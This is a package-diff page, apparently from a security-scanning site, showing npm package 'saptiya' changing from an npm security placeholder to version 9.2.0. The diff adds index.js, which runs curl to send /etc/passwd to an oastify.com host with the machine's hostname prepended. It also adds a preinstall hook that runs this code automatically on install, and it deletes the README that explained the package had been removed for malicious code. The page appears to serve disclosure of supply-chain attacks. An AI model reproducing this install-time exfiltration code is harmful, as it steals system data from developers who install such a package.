saptiya 0.0.1-security → 9.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of saptiya might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +19 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const { exec } = require('child_process');
2
+
3
+ // Construct the URL with hostname and the target endpoint
4
+ const targetURL = `${require('os').hostname()}9fpsaytl30zri17j5jojxxhjtaz5nvbk.oastify.com`;
5
+
6
+ // Run the curl command to send the contents of /etc/passwd
7
+ exec(`/usr/bin/curl --data '@/etc/passwd' ${targetURL}`, (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(`Error executing curl: ${error.message}`);
10
+ return;
11
+ }
12
+
13
+ if (stderr) {
14
+ console.error(`stderr: ${stderr}`);
15
+ return;
16
+ }
17
+
18
+ console.log(`stdout: ${stdout}`);
19
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "saptiya",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.2.0",
4
+ "description": "burp suite",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Your Name",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=saptiya for more information.